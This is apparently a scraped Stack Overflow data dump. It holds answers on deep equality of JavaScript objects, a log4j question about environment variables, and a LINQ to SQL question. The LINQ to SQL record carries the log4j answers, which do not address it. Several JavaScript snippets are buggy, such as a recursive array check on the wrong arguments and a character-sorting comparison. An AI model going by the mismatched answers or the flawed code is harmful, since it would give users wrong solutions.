JSONstringifyOrder(obj2);\n}\n\n///////////////////////////////////////////////////////////////\n/// The borrowed tests, run them by clicking \"Run code snippet\"\n///////////////////////////////////////////////////////////////\nvar printResult = function (x) {\n if (x) { document.write('&lt;div style=\"color: green;\"&gt;Passed&lt;/div&gt;'); }\n else { document.write('&lt;div style=\"color: red;\"&gt;Failed&lt;/div&gt;'); }\n};\nvar assert = { isTrue: function (x) { printResult(x); }, isFalse: function (x) { printResult(!x); } }\n\nassert.isTrue(objectEquals(\"hi\",\"hi\"));\nassert.isTrue(objectEquals(5,5));\nassert.isFalse(objectEquals(5,10));\n\nassert.isTrue(objectEquals([],[]));\nassert.isTrue(objectEquals([1,2],[1,2]));\nassert.isFalse(objectEquals([1,2],[2,1]));\nassert.isFalse(objectEquals([1,2],[1,2,3]));\n\nassert.isTrue(objectEquals({},{}));\nassert.isTrue(objectEquals({a:1,b:2},{a:1,b:2}));\nassert.isTrue(objectEquals({a:1,b:2},{b:2,a:1}));\nassert.isFalse(objectEquals({a:1,b:2},{a:1,b:3}));\n\nassert.isTrue(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}));\nassert.isFalse(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:27}}));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 68130815, "author": "scipper", "author_id": 8569519, "author_profile": "https://Stackoverflow.com/users/8569519", "pm_score": 2, "selected": false, "text": "<p>Although this question is sufficiently answered, I am missing one approach: the <code>toJSON</code> interface.</p>\n<p>Usually you want to compare to object by stringifying them, because this is the fastest way. But ofter the comparison is considered to by false, because of the order of the properties.</p>\n<pre><code>const obj1 = {\n a: 1,\n b: 2,\n c: { \n ca: 1,\n cb: 2\n }\n}\n\nconst obj2 = {\n b: 2, // changed order with a\n a: 1,\n c: { \n ca: 1,\n cb: 2\n }\n}\n\nJSON.stringify(obj1) === JSON.stringify(obj2) // false\n</code></pre>\n<p>Obviously the objects are considered to be different, because the order of property <code>a</code> and <code>b</code> differ.</p>\n<p>To solve this, you can implement the <code>toJSON</code> interface, and define a deterministic output.</p>\n<pre><code>const obj1 = {\n a: 1,\n b: 2,\n c: { \n ca: 1,\n cb: 2\n },\n toJSON() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n }\n}\n\nconst obj2 = {\n b: 2,\n a: 1,\n c: { \n ca: 1,\n cb: 2\n },\n toJSON() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n }\n}\n\nJSON.stringify(obj1) === JSON.stringify(obj2) // true\n</code></pre>\n<p>Et voila: the string representations of <code>obj1</code> and <code>obj2</code> are concidered the same.</p>\n<p><strong>TIP</strong></p>\n<p>If you do not have access to the direct generation of the object, you can simply attach the <code>toJSON</code> function:</p>\n<pre><code>obj1.toJSON = function() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n}\n\nobj2.toJSON = function() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n}\n\nJSON.stringify(obj1) === JSON.stringify(obj2) // true\n</code></pre>\n" }, { "answer_id": 68564458, "author": "Mahmoud Magdy", "author_id": 11686674, "author_profile": "https://Stackoverflow.com/users/11686674", "pm_score": -1, "selected": false, "text": "<p>I added an answer before but it was not perfect but this one will check equality for objects</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function equalObjects(myObj1, myObj2){\n\nlet firstScore = 0;\nlet secondScore = 0;\nlet index=0;\n\nlet proprtiesArray = [];\nlet valuesArray = [];\n\n\nlet firstLength = 0;\nlet secondLength = 0;\n\n\nfor (const key in myObj1) {\n if (myObj1.hasOwnProperty(key)) {\n firstLength += 1;\n proprtiesArray.push(key);\n valuesArray.push(myObj1[key]); \n firstScore +=1;\n }\n}\n\nfor (const key in myObj2) {\n if (myObj2.hasOwnProperty(key)) {\n secondLength += 1;\n if (valuesArray[index] === myObj2[key] &amp;&amp; proprtiesArray[index] === key) {\n secondScore +=1;\n }\n //console.log(myObj[key]);\n \n index += 1;\n }\n \n}\n\nif (secondScore == firstScore &amp;&amp; firstLength === secondLength) {\n console.log(\"true\", \"equal objects\");\n return true;\n} else {\n console.log(\"false\", \"not equal objects\");\n return false;\n}\n\n}\n\nequalObjects({'firstName':'Ada','lastName':'Lovelace'},{'firstName':'Ada','lastName':'Lovelace'});\n\nequalObjects({'firstName':'Ada','lastName':'Lovelace'},{'firstName':'Ada','lastName1':'Lovelace'});\n\nequalObjects({'firstName':'Ada','lastName':'Lovelace'},{'firstName':'Ada','lastName':'Lovelace', 'missing': false});</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 68700405, "author": "Rustamjon Kirgizbaev", "author_id": 14111273, "author_profile": "https://Stackoverflow.com/users/14111273", "pm_score": 1, "selected": false, "text": "<p>In objects (without methods) we need to check for <code>nested Objects</code>, <code>Arrays</code> and <code>primitive types</code>. Objects can have other oblects and arrays (arrays also can include other objects and arrays), so we can use recursive function like in below: <code>arrayEquals</code> checks arrays for equality and <code>equals</code> checks objects equality:</p>\n<pre><code>function arrayEquals(a, b) {\n if (a.length != b.length) {\n return false;\n }\n for (let i = 0; i &lt; a.length; i++) {\n if (a[i].constructor !== b[i].constructor) {\n return false;\n }\n\n if (a[i] instanceof Array &amp;&amp; b[i] instanceof Array) {\n if (!arrayEquals(a, b)) {\n return false;\n }\n } else if (a[i] instanceof Object &amp;&amp; b[i] instanceof Object) {\n if (!equals(a[i], b[i])) {\n return false;\n }\n } else if (a[i] !== b[i]) {\n return false;\n }\n }\n return true;\n}\n\nfunction equals(a, b) {\n for (let el in a) {\n if (b.hasOwnProperty(el)) {\n if (a[el].constructor !== b[el].constructor) {\n return false;\n }\n\n if (a[el] instanceof Array &amp;&amp; b[el] instanceof Array) {\n if (!arrayEquals(a[el], b[el])) {\n return false;\n }\n } else if (a[el] instanceof Object &amp;&amp; b[el] instanceof Object) {\n if (!equals(a[el], b[el])) {\n return false;\n }\n } else if (a[el] !== b[el]) {\n return false;\n }\n } else {\n return false;\n }\n }\n return true;\n}\n</code></pre>\n<p>Imagine you have two objects:</p>\n<pre><code>let a = {\n a: 1,\n b: { c: 1, d: &quot;test&quot; },\n c: 3,\n d: [{ a: [1, 2], e: 2 }, &quot;test&quot;, { c: 3, q: 5 }],\n};\n\nlet b = {\n a: 1,\n b: { c: 1, d: &quot;test&quot; },\n c: 3,\n d: [{ a: [1, 2], e: 2 }, &quot;test&quot;, { c: 3, q: 5 }],\n};\n</code></pre>\n<p>And here using above <code>equals</code> function, you can easily compare two of these objects like this:</p>\n<pre><code>if(equals(a, b)) {\n // do whatever you want\n}\n</code></pre>\n" }, { "answer_id": 68758937, "author": "FOR_SCIENCE", "author_id": 9808476, "author_profile": "https://Stackoverflow.com/users/9808476", "pm_score": 1, "selected": false, "text": "<p>In React, you can use <code>isEqual</code> from 'react-fast-compare'. This answer is probably not applicable to plain JavaScript, but can be useful in case you are using React.</p>\n<pre class=\"lang-js prettyprint-override\"><code>console.log(isEqual({ hello: 'world' }, { hello: 'world' })) // returns true\n</code></pre>\n<blockquote>\n<p>The fastest deep equal comparison for React. Very quick general-purpose deep comparison, too. Great for React.memo and shouldComponentUpdate.</p>\n</blockquote>\n<p>More information can be found here: <a href=\"https://www.npmjs.com/package/react-fast-compare\" rel=\"nofollow noreferrer\">https://www.npmjs.com/package/react-fast-compare</a>.</p>\n" }, { "answer_id": 68961888, "author": "Randhir Rawatlal", "author_id": 2473720, "author_profile": "https://Stackoverflow.com/users/2473720", "pm_score": 0, "selected": false, "text": "<p><strong>Pure JS approach</strong>: My answer is based on generating a string which returns the same value whether the attribute order is same or not. The settings object can be used to switch whether the case and the presence of white space matters. (To avoid losing focus I'm not including those support functions, or the isObject which I guess should be in any utility set.)</p>\n<p>Also not shown here, but to reduce the string comparison time, if the objects are large and you want to speed up the comparison, you could also hash the strings and compare substrings; this would make sense to do only for very large objects (and of course a small chance of false equality).</p>\n<p>You can then just compare genObjStr(obj1) ?= genObjStr(obj2)</p>\n<pre><code>function genObjStr(obj, settings) {\n// Generate a string that corresponds to an object guarenteed to be the same str even if\n// the object have different ordering. The string would largely be used for comparison purposes\n\nvar settings = settings||{};\nvar doStripWhiteSpace = defTrue(settings.doStripWhiteSpace);\nvar doSetLowerCase = settings.doSetLowerCase||false;\n\nif(isArray(obj)) {\n var vals = [];\n for(var i = 0; i &lt; obj.length; ++i) {\n vals.push(genObjStr(obj[i], settings));\n }\n vals = arraySort(vals);\n return vals.join(`,`);\n\n} else if(isObject(obj)) {\n\n var keys = Object.keys(obj);\n keys = arraySort(keys);\n\n var vals = [];\n for(var key of keys) {\n \n var value = obj[key];\n \n value = genObjStr(value, settings);\n\n if(doStripWhiteSpace) {\n key = removeWhitespace(key);\n var value = removeWhitespace(value);\n };\n if(doSetLowerCase) {\n key = key.toLowerCase();\n value = value.toLowerCase();\n }\n\n vals.push(value);\n }\n var str = JSON.stringify({keys: keys, vals: vals});\n return str\n} else {\n if(doStripWhiteSpace) {\n obj = removeWhitespace(obj);\n };\n if(doSetLowerCase) {\n obj = obj.toLowerCase();\n }\n return obj\n}\n</code></pre>\n<p>}</p>\n<pre><code>var obj1 = {foo: 123, bar: `Test`};\nvar obj2 = {bar: `Test`, foo: 123};\n\nconsole.log(genObjStr(obj1) == genObjStr(obj1))\n</code></pre>\n" }, { "answer_id": 69286063, "author": "iamabs2001", "author_id": 12276988, "author_profile": "https://Stackoverflow.com/users/12276988", "pm_score": 2, "selected": false, "text": "<pre class=\"lang-js prettyprint-override\"><code>let std1 = {\n name: &quot;Abhijeet&quot;,\n roll: 1\n}\n\nlet std2 = {\n name: &quot;Siddharth&quot;,\n roll: 2\n}\n\nconsole.log(JSON.stringify(std1) === JSON.stringify(std2))\n</code></pre>\n" }, { "answer_id": 69830082, "author": "YassBan", "author_id": 15816207, "author_profile": "https://Stackoverflow.com/users/15816207", "pm_score": 0, "selected": false, "text": "<p>if your question is to check if two objects are equal then this function might be useful</p>\n<pre><code>function equals(a, b) {\nconst aKeys = Object.keys(a)\nconst bKeys = Object.keys(b)\nif(aKeys.length != bKeys.length) {\n return false\n}\nfor(let i = 0;i &lt; aKeys.length;i++) {\n if(aKeys[i] != bKeys[i]) {\n return false\n } \n}\nfor(let i = 0;i &lt; aKeys.length;i++) {\n if(a[aKeys[i]] != b[bKeys[i]]) {\n return false\n }\n}\nreturn true\n}\n</code></pre>\n<p>first we check if the length of the list of keys of these objects is the same, if not we return false\nto check if two objects are equal they must have the same keys(=names) and the same values of the keys, so we get all the keys of objA, and objB and then we check if they are equal once we find that tow keys are not equal then we return false\nand then when all the keys are equal then we loop through one of the keys of one of the objects and then we check if they are equal once they are not we return false and after the two loops finished this means they are equal and we return true\n<strong>NOTE: this function works with only objects with no functions</strong></p>\n" }, { "answer_id": 70815902, "author": "ashuvssut", "author_id": 12872199, "author_profile": "https://Stackoverflow.com/users/12872199", "pm_score": 0, "selected": false, "text": "<blockquote>\n<p><strong>Using JSON.stringify() is not always reliable</strong>. So this method is the best solution to your question IMO</p>\n</blockquote>\n<p>First of all, <strong>No</strong>, there is no generic means to determine that an object is equal!</p>\n<p>But there is a concept called <strong>Shallow Equality Comparison</strong>.\nThere is an <a href=\"https://www.npmjs.com/package/shallowequal\" rel=\"nofollow noreferrer\">npm library</a> out there that can help you use this concept</p>\n<p><strong>Example</strong></p>\n<pre class=\"lang-js prettyprint-override\"><code>const shallowequal = require('shallowequal');\n \nconst object = { 'user': 'fred' };\nconst other = { 'user': 'fred' };\n\n// Referential Equality Comparison (`strict ===`)\nobject === other; // → false\n\n// Shallow Equality Comparison\nshallowequal(object, other); // → true\n</code></pre>\n<p>If you want to know how to create <code>shallowEqual</code> comparision method, then refer <a href=\"https://github.com/facebook/fbjs/blob/master/packages/fbjs/src/core/shallowEqual.js#L39-L67\" rel=\"nofollow noreferrer\">here</a>. Its from the opensource <code>fbjs</code> Facebook library.</p>\n<hr />\n<h2>Shallow Equality Comparision</h2>\n<p><code>shallowequal(obj1, obj2)</code></p>\n<blockquote>\n<p><code>shallowEqual</code> Performs a shallow equality comparison between two values (i.e. <code>obj1</code> and <code>obj2</code>) to determine if they are equivalent.</p>\n</blockquote>\n<p>The equality is performed by iterating through keys on the given <code>obj1</code>, and returning <code>false</code> whenever any key has values which are not strictly equal between <code>obj1</code> and <code>obj2</code>. Otherwise, return <code>true</code> whenever the values of all keys are strictly equal.</p>\n" }, { "answer_id": 70934266, "author": "Christopher Silvas", "author_id": 11576079, "author_profile": "https://Stackoverflow.com/users/11576079", "pm_score": 2, "selected": false, "text": "<p>One easy way I have found to compare the <em><strong>values</strong></em> of two javascript objects <em><strong>while ignoring property order</strong></em> is with the JSON stringify replacer function:</p>\n<pre><code>const compareReplacer = (key, value) =&gt; {\n if(typeof value === 'object' &amp;&amp; !(value instanceof Array))\n return Object.entries(value).sort();\n return value;\n}\nexport const compareObjects = (a, b) =&gt; JSON.stringify(a, compareReplacer) === JSON.stringify(b, compareReplacer);\n</code></pre>\n<p>This will order the properties at every step of the way so that the string result will be invariant to property order. Some one has probably done this before but I just thought I would share it incase not :).</p>\n" }, { "answer_id": 70966181, "author": "Haseeb Butt", "author_id": 7139702, "author_profile": "https://Stackoverflow.com/users/7139702", "pm_score": 2, "selected": false, "text": "<p><strong>stringify both objects and compare</strong></p>\n<p><code>return (JSON.stringify(obj1) === JSON.stringify(obj2))</code></p>\n<p>This will return true or false</p>\n" }, { "answer_id": 71177605, "author": "pery mimon", "author_id": 1919821, "author_profile": "https://Stackoverflow.com/users/1919821", "pm_score": 1, "selected": false, "text": "<p>2022:</p>\n<p>I came up with a breeze dead-simple algorithm that addresses the most edge cases.</p>\n<p>Steps:</p>\n<ol>\n<li>flatten the objects</li>\n<li>simple compare the two flattened objects and look for differences</li>\n</ol>\n<p>If you saved the flatted object you can repeat using it.</p>\n<pre class=\"lang-js prettyprint-override\"><code>let obj1= {var1:'value1', var2:{ var1:'value1', var2:'value2'}};\nlet obj2 = {var1:'value1', var2:{ var1:'value11',var2:'value2'}} \n\nlet flat1= flattenObject(obj1)\n/*\n{\n 'var1':'value1',\n 'var2.var1':'value1',\n 'var2.var2':'value2'\n}\n*/\nlet flat2= flattenObject(obj2)\n/*\n{\n 'var1':'value1',\n 'var2.var1':'value11',\n 'var2.var2':'value2'\n}\n*/\nisEqual(flat1, flat2)\n/*\n false\n*/\n\n</code></pre>\n<p>of course you can come with your implementations for that steps. but here is mine:</p>\n<h4>Implementations</h4>\n<pre class=\"lang-js prettyprint-override\"><code>function flattenObject(obj) {\n const object = Object.create(null);\n const path = [];\n const isObject = (value) =&gt; Object(value) === value;\n\n function dig(obj) {\n for (let [key, value] of Object.entries(obj)) {\n path.push(key);\n if (isObject(value)) dig(value);\n else object[path.join('.')] = value;\n path.pop();\n }\n }\n\n dig(obj);\n return object;\n}\n</code></pre>\n<pre><code> function isEqual(flat1, flat2) {\n for (let key in flat2) {\n if (flat1[key] !== flat2[key])\n return false\n }\n // check for missing keys\n for (let key in flat1) {\n if (!(key in flat2))\n return false\n }\n return true\n}\n\n</code></pre>\n<p>You can use that method to also get the Diff object between <code>obj1</code> and <code>obj2</code>.</p>\n<p>Look at that answer for details: <a href=\"https://stackoverflow.com/a/71173966/1919821\">Generic deep diff between two objects</a></p>\n" }, { "answer_id": 72323744, "author": "Fritz", "author_id": 5748982, "author_profile": "https://Stackoverflow.com/users/5748982", "pm_score": 0, "selected": false, "text": "<p>Adding this <a href=\"https://www.w3resource.com/javascript-exercises/fundamental/javascript-fundamental-exercise-47.php\" rel=\"nofollow noreferrer\">version</a> as it handles Dates and has a flow chart that shows how it works.</p>\n" }, { "answer_id": 72329693, "author": "Adrian Bartholomew", "author_id": 971695, "author_profile": "https://Stackoverflow.com/users/971695", "pm_score": 2, "selected": false, "text": "<p>For short and simple:</p>\n<pre><code>const compare = (x, y) =&gt; {\n const srt = (obj) =&gt; JSON.stringify(obj)?.split('').sort().join('');\n return srt(x) === srt(y);\n};\n\n// ----- How to use ---\nconst a = {'one':1, 'two':2,'three':3};\nconst b = {'two':2, 'one':1, 'three':3}; //note same values as (const a)\nconst c = {'one':1, 'two':2,'three':3};\nconst d = {'one':1, 'two':2,'four':4};\n\ncompare(a, b); //true\ncompare(a, c); //true\ncompare(a, d); //false\n\n//----- BUT! -----\nJSON.stringify(a) === JSON.stringify(b); //false\n\n//----- AND -----\ncompare({}, {}); //true\ncompare({}, undefined); //false\ncompare(undefined, undefined); //true\ncompare(undefined, ''); //false\ncompare(undefined, null); //false\ncompare(null, null); //true\ncompare('', ''); //true\n</code></pre>\n" }, { "answer_id": 72844378, "author": "Yuval Peretz", "author_id": 12459212, "author_profile": "https://Stackoverflow.com/users/12459212", "pm_score": 1, "selected": false, "text": "<pre><code>const isEqual = function (var1, var2) {\n if (typeof var1 === 'object' &amp;&amp; typeof var2 === 'object') {\n // Checking equality for each of the inner values of the objects\n const keys = [...new Set([...Object.keys(var1),...Object.keys(var2)])];\n return keys.every(key =&gt; isEqual(var1[key], var2[key]) &amp;&amp; isEqual(var2[key], var1[key]));\n } else { // Primitive types (number, boolean etc..)\n return var1 === var2; // Normal equality\n }\n}\n</code></pre>\n<p>So I've seen so many great answers here, but I couldn't find a short function, so I created one.\nThis will check equality of two variables no matter the type.\nHope you see it fit.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201183", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
A strict equality operator will tell you if two object **types** are equal. However, is there a way to tell if two objects are equal, **much like the hash code** value in Java? Stack Overflow question *[Is there any kind of hashCode function in JavaScript?](https://stackoverflow.com/questions/194846)* is similar to this question, but requires a more academic answer. The scenario above demonstrates why it would be necessary to have one, and I'm wondering if there is any **equivalent solution**.
**The short answer** The simple answer is: No, there is no generic means to determine that an object is equal to another in the sense you mean. The exception is when you are strictly thinking of an object being typeless. **The long answer** The concept is that of an Equals method that compares two different instances of an object to indicate whether they are equal at a value level. However, it is up to the specific type to define how an `Equals` method should be implemented. An iterative comparison of attributes that have primitive values may not be enough: an object may contain attributes which are not relevant to equality. For example, ``` function MyClass(a, b) { var c; this.getCLazy = function() { if (c === undefined) c = a * b // imagine * is really expensive return c; } } ``` In this above case, `c` is not really important to determine whether any two instances of MyClass are equal, only `a` and `b` are important. In some cases `c` might vary between instances and yet not be significant during comparison. Note this issue applies when members may themselves also be instances of a type and these each would all be required to have a means of determining equality. Further complicating things is that in JavaScript the distinction between data and method is blurred. An object may reference a method that is to be called as an event handler, and this would likely not be considered part of its 'value state'. Whereas another object may well be assigned a function that performs an important calculation and thereby makes this instance different from others simply because it references a different function. What about an object that has one of its existing prototype methods overridden by another function? Could it still be considered equal to another instance that it otherwise identical? That question can only be answered in each specific case for each type. As stated earlier, the exception would be a strictly typeless object. In which case the only sensible choice is an iterative and recursive comparison of each member. Even then one has to ask what is the 'value' of a function?
201,188
<p>Is it possible to reference system environment variables (as opposed to Java system properties) in a log4j xml configuration file?</p> <p>I'd like to be able to do something like:</p> <pre><code>&lt;level value="${env.LOG_LEVEL}" /&gt; </code></pre> <p>and have it get that from the system environment variables, so I can avoid having to pass in so many things with -D parameters.</p>
[ { "answer_id": 201489, "author": "Einar", "author_id": 2964, "author_profile": "https://Stackoverflow.com/users/2964", "pm_score": 6, "selected": false, "text": "<p>I tried to do that recently and couldn't get it to work. What I ended up doing is sending a variable at startup. So say you have an environment variable called $LOG_LEVEL:</p>\n\n<pre><code>&lt;level value=\"${log_level}\" /&gt;\n</code></pre>\n\n<p>and at startup...</p>\n\n<pre><code>java -Dlog_level=$LOG_LEVEL your_app\n</code></pre>\n" }, { "answer_id": 203941, "author": "Martin Probst", "author_id": 22227, "author_profile": "https://Stackoverflow.com/users/22227", "pm_score": 4, "selected": false, "text": "<p>I think this is not supported, but basically you can do two things to bring in your environment variables:</p>\n\n<ol>\n<li><p>Use System.setProperty before Log4J gets configured</p></li>\n<li><p>Convert (your) environment variables to system properties in your launcher</p></li>\n</ol>\n\n<p>The first option basically boils down to this:</p>\n\n<pre><code>for (Map&lt;String,String&gt;.Entry entry : System.getenv().entrySet()) {\n System.setProperty(entry.getKey(), entry.getValue());\n}\n</code></pre>\n\n<p>... but the question is of course where to put this code. In particular if you're running within some sort of Tomcat container or similar, this might be troublesome.</p>\n\n<p>The other largely depends on your environment. Basically if you have a shell script that starts your app, you can write some shell magic to set all environment variables as properties, or just the ones you need, e.g.:</p>\n\n<pre><code>java -DMY_ENV=$MY_ENV -DMY_OTHER_ENV=$MY_OTHER_ENV -cp ... com.example.Main\n</code></pre>\n\n<p>It's also possible to alter your server startup scripts to support this, e.g. catalina.sh or similar.</p>\n" }, { "answer_id": 21938229, "author": "Daniel Estrada", "author_id": 965342, "author_profile": "https://Stackoverflow.com/users/965342", "pm_score": 3, "selected": false, "text": "<p>You need to put a colon between env and the name of the variable, like this:</p>\n\n<pre><code>&lt;level value=\"${env:LOG_LEVEL}\" /&gt;\n</code></pre>\n" }, { "answer_id": 29329899, "author": "Shoham", "author_id": 1297578, "author_profile": "https://Stackoverflow.com/users/1297578", "pm_score": 6, "selected": true, "text": "<p>This syntax is documented only in log4j 2.X so make sure you are using the correct version. It does not work on the 1.X versions.</p>\n\n<pre><code> &lt;Appenders&gt;\n &lt;File name=\"file\" fileName=\"${env:LOG_PATH}\"&gt;\n &lt;PatternLayout&gt;\n &lt;Pattern&gt;%d %p %c{1.} [%t] %m %ex%n&lt;/Pattern&gt;\n &lt;/PatternLayout&gt;\n &lt;/File&gt;\n&lt;/Appenders&gt;\n</code></pre>\n" }, { "answer_id": 35183593, "author": "tkolleh", "author_id": 1999025, "author_profile": "https://Stackoverflow.com/users/1999025", "pm_score": 0, "selected": false, "text": "<p>Create a system variable. I prefer to use setenv.bat for such variables.</p>\n\n<pre><code>@echo off\nrem app specific log dir\nset \"APP_LOG_ROOTDIR=../app/app-log\"\nexit /b 0\n</code></pre>\n\n<p>Add reference in log4j.xml file</p>\n\n<pre><code>&lt;appender name=\"fileAppender\" class=\"org.apache.log4j.RollingFileAppender\"&gt;\n &lt;param name=\"Threshold\" value=\"DEBUG\" /&gt;\n &lt;param name=\"MaxFileSize\" value=\"512KB\" /&gt;\n &lt;param name=\"MaxBackupIndex\" value=\"10\" /&gt;\n &lt;param name=\"File\" value=\"${APP_LOG_ROOTDIR}/app.log\"/&gt;\n &lt;layout class=\"org.apache.log4j.PatternLayout\"&gt;\n &lt;param name=\"ConversionPattern\" value=\"%d %-5p %c{1} %m %n\" /&gt;\n &lt;/layout&gt;\n&lt;/appender&gt;\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201188", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22070/" ]
Is it possible to reference system environment variables (as opposed to Java system properties) in a log4j xml configuration file? I'd like to be able to do something like: ``` <level value="${env.LOG_LEVEL}" /> ``` and have it get that from the system environment variables, so I can avoid having to pass in so many things with -D parameters.
This syntax is documented only in log4j 2.X so make sure you are using the correct version. It does not work on the 1.X versions. ``` <Appenders> <File name="file" fileName="${env:LOG_PATH}"> <PatternLayout> <Pattern>%d %p %c{1.} [%t] %m %ex%n</Pattern> </PatternLayout> </File> </Appenders> ```
201,191
<p>We are using Linq To SQL with our own data context logic that executes the one linq query across multiple databases. When we get the results back, we need the database for each of the rows. So...</p> <p>I want to have a property on my class that will return the database name (SQL Server, so DB_NAME()). How can I do this in Linq To Sql?</p> <hr> <p>Dave, thanks for the answer, but we have hundreds of databases and don't want to have to add views if possible.</p>
[ { "answer_id": 201489, "author": "Einar", "author_id": 2964, "author_profile": "https://Stackoverflow.com/users/2964", "pm_score": 6, "selected": false, "text": "<p>I tried to do that recently and couldn't get it to work. What I ended up doing is sending a variable at startup. So say you have an environment variable called $LOG_LEVEL:</p>\n\n<pre><code>&lt;level value=\"${log_level}\" /&gt;\n</code></pre>\n\n<p>and at startup...</p>\n\n<pre><code>java -Dlog_level=$LOG_LEVEL your_app\n</code></pre>\n" }, { "answer_id": 203941, "author": "Martin Probst", "author_id": 22227, "author_profile": "https://Stackoverflow.com/users/22227", "pm_score": 4, "selected": false, "text": "<p>I think this is not supported, but basically you can do two things to bring in your environment variables:</p>\n\n<ol>\n<li><p>Use System.setProperty before Log4J gets configured</p></li>\n<li><p>Convert (your) environment variables to system properties in your launcher</p></li>\n</ol>\n\n<p>The first option basically boils down to this:</p>\n\n<pre><code>for (Map&lt;String,String&gt;.Entry entry : System.getenv().entrySet()) {\n System.setProperty(entry.getKey(), entry.getValue());\n}\n</code></pre>\n\n<p>... but the question is of course where to put this code. In particular if you're running within some sort of Tomcat container or similar, this might be troublesome.</p>\n\n<p>The other largely depends on your environment. Basically if you have a shell script that starts your app, you can write some shell magic to set all environment variables as properties, or just the ones you need, e.g.:</p>\n\n<pre><code>java -DMY_ENV=$MY_ENV -DMY_OTHER_ENV=$MY_OTHER_ENV -cp ... com.example.Main\n</code></pre>\n\n<p>It's also possible to alter your server startup scripts to support this, e.g. catalina.sh or similar.</p>\n" }, { "answer_id": 21938229, "author": "Daniel Estrada", "author_id": 965342, "author_profile": "https://Stackoverflow.com/users/965342", "pm_score": 3, "selected": false, "text": "<p>You need to put a colon between env and the name of the variable, like this:</p>\n\n<pre><code>&lt;level value=\"${env:LOG_LEVEL}\" /&gt;\n</code></pre>\n" }, { "answer_id": 29329899, "author": "Shoham", "author_id": 1297578, "author_profile": "https://Stackoverflow.com/users/1297578", "pm_score": 6, "selected": true, "text": "<p>This syntax is documented only in log4j 2.X so make sure you are using the correct version. It does not work on the 1.X versions.</p>\n\n<pre><code> &lt;Appenders&gt;\n &lt;File name=\"file\" fileName=\"${env:LOG_PATH}\"&gt;\n &lt;PatternLayout&gt;\n &lt;Pattern&gt;%d %p %c{1.} [%t] %m %ex%n&lt;/Pattern&gt;\n &lt;/PatternLayout&gt;\n &lt;/File&gt;\n&lt;/Appenders&gt;\n</code></pre>\n" }, { "answer_id": 35183593, "author": "tkolleh", "author_id": 1999025, "author_profile": "https://Stackoverflow.com/users/1999025", "pm_score": 0, "selected": false, "text": "<p>Create a system variable. I prefer to use setenv.bat for such variables.</p>\n\n<pre><code>@echo off\nrem app specific log dir\nset \"APP_LOG_ROOTDIR=../app/app-log\"\nexit /b 0\n</code></pre>\n\n<p>Add reference in log4j.xml file</p>\n\n<pre><code>&lt;appender name=\"fileAppender\" class=\"org.apache.log4j.RollingFileAppender\"&gt;\n &lt;param name=\"Threshold\" value=\"DEBUG\" /&gt;\n &lt;param name=\"MaxFileSize\" value=\"512KB\" /&gt;\n &lt;param name=\"MaxBackupIndex\" value=\"10\" /&gt;\n &lt;param name=\"File\" value=\"${APP_LOG_ROOTDIR}/app.log\"/&gt;\n &lt;layout class=\"org.apache.log4j.PatternLayout\"&gt;\n &lt;param name=\"ConversionPattern\" value=\"%d %-5p %c{1} %m %n\" /&gt;\n &lt;/layout&gt;\n&lt;/appender&gt;\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201191", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5189/" ]
We are using Linq To SQL with our own data context logic that executes the one linq query across multiple databases. When we get the results back, we need the database for each of the rows. So... I want to have a property on my class that will return the database name (SQL Server, so DB\_NAME()). How can I do this in Linq To Sql? --- Dave, thanks for the answer, but we have hundreds of databases and don't want to have to add views if possible.
This syntax is documented only in log4j 2.X so make sure you are using the correct version. It does not work on the 1.X versions. ``` <Appenders> <File name="file" fileName="${env:LOG_PATH}"> <PatternLayout> <Pattern>%d %p %c{1.} [%t] %m %ex%n</Pattern> </PatternLayout> </File> </Appenders> ```